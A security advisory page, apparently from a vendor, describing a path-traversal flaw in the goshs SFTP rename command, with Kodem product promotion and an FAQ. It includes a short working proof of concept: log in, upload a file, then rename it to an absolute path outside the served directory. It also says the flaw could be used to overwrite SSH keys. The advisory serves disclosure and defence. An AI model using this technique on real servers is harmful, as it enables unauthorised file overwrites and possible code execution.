CVE-2026-40188

CVE-2026-40188 is a high-severity security vulnerability in github.com/patrickhener/goshs (go), affecting versions >= 1.0.7, <= 1.1.4. No fixed version is listed yet.

Summary

The SFTP command rename sanitizes only the source path and not the destination, so it is possible to write outside of the root directory of the SFTP.

Details

Here is the issue:

// helper.go:155-215
func cmdFile(root string, r *sftp.Request, ip string, sftpServer *SFTPServer) error {
    fullPath, err := sanitizePath(r.Filepath, root)  // Source: SANITIZED
    if err != nil {
        return err
    }
    switch r.Method {
    // ...
    case "Rename":
        err := os.Rename(fullPath, r.Target)  // Destination: NOT SANITIZED!

PoC

To exploit just upload a file on the SFTP and rename it to a file with full path.

Currently no key.txt file inside /tmp

$ ls key.txt
ls: key.txt: No such file or directory

Start the SFTP server:

/tmp/sftp-server $ goshs -sftp -b 'user:user' -d .
WARNING[2026-04-02 20:00:18] upload-folder mode deactivated due to use of 'sftp' mode
WARNING[2026-04-02 20:00:18] There is a newer Version (v2.0.0-beta.3) of goshs available. Run --update to update goshs.
INFO   [2026-04-02 20:00:18] Starting SFTP server on port 0.0.0.0:2022
WARNING[2026-04-02 20:00:18] You are using basic auth without SSL. Your credentials will be transferred in cleartext. Consider using -s, too.
INFO   [2026-04-02 20:00:18] Using basic auth with user 'user' and password 'user'
INFO   [2026-04-02 20:00:18] Download embedded file at: /example.txt?embedded
INFO   [2026-04-02 20:00:18] Serving on interface lo0 bound to 127.0.0.1:8000
INFO   [2026-04-02 20:00:18] Serving on interface en0 bound to 192.168.68.51:8000
INFO   [2026-04-02 20:00:18] Serving HTTP from /tmp/sftp-server

Connect to the SFTP and uploading the file:

$ sftp -P 2022 user@localhost
user@localhost's password:
Connected to localhost.
sftp> put /Users/user/Downloads/key.txt
Uploading /Users/user/Downloads/key.txt to /tmp/sftp-server/key.txt
key.txt                                                                                                                                                   100%   15    40.9KB/s   00:00

The file is stored properly.

goshs log:

INFO   [2026-04-02 20:03:31] SFTP: [::1]:61742 - [Put] - "/tmp/sftp-server/key.txt"

Rename command with full path:

sftp> rename key.txt /tmp/key.txt

goshs log:

INFO   [2026-04-02 20:04:09] SFTP: [::1]:61742 - [Rename] - "/tmp/sftp-server/key.txt to /tmp/key.txt"

Key file is now in /tmp

$ ls key.txt
key.txt

Impact

This allows file write and can be used either for an RCE in form of overwrite an SSH key, or by overwriting a configuration etc.

CVE-2026-40188 has a CVSS score of 7.7 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Affected versions

github.com/patrickhener/goshs (>= 1.0.7, <= 1.1.4)

Security releases

Not available

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

No fixed version is listed for CVE-2026-40188 yet.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-40188? CVE-2026-40188 is a high-severity security vulnerability in github.com/patrickhener/goshs (go), affecting versions >= 1.0.7, <= 1.1.4. No fixed version is listed yet.
  2. How severe is CVE-2026-40188? CVE-2026-40188 has a CVSS score of 7.7 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of github.com/patrickhener/goshs are affected by CVE-2026-40188? github.com/patrickhener/goshs (go) versions >= 1.0.7, <= 1.1.4 is affected.
  4. Is there a fix for CVE-2026-40188? No fixed version is listed for CVE-2026-40188 yet. Monitor the advisory for updates and apply mitigations in the interim.
  5. Is CVE-2026-40188 exploitable, and should I be worried? Whether CVE-2026-40188 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-40188 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.

Other vulnerabilities in github.com/patrickhener/goshs

CVE-2026-42091CVE-2026-40884CVE-2026-40876CVE-2026-40188CVE-2026-35471

Stop the waste.
Protect your environment with Kodem.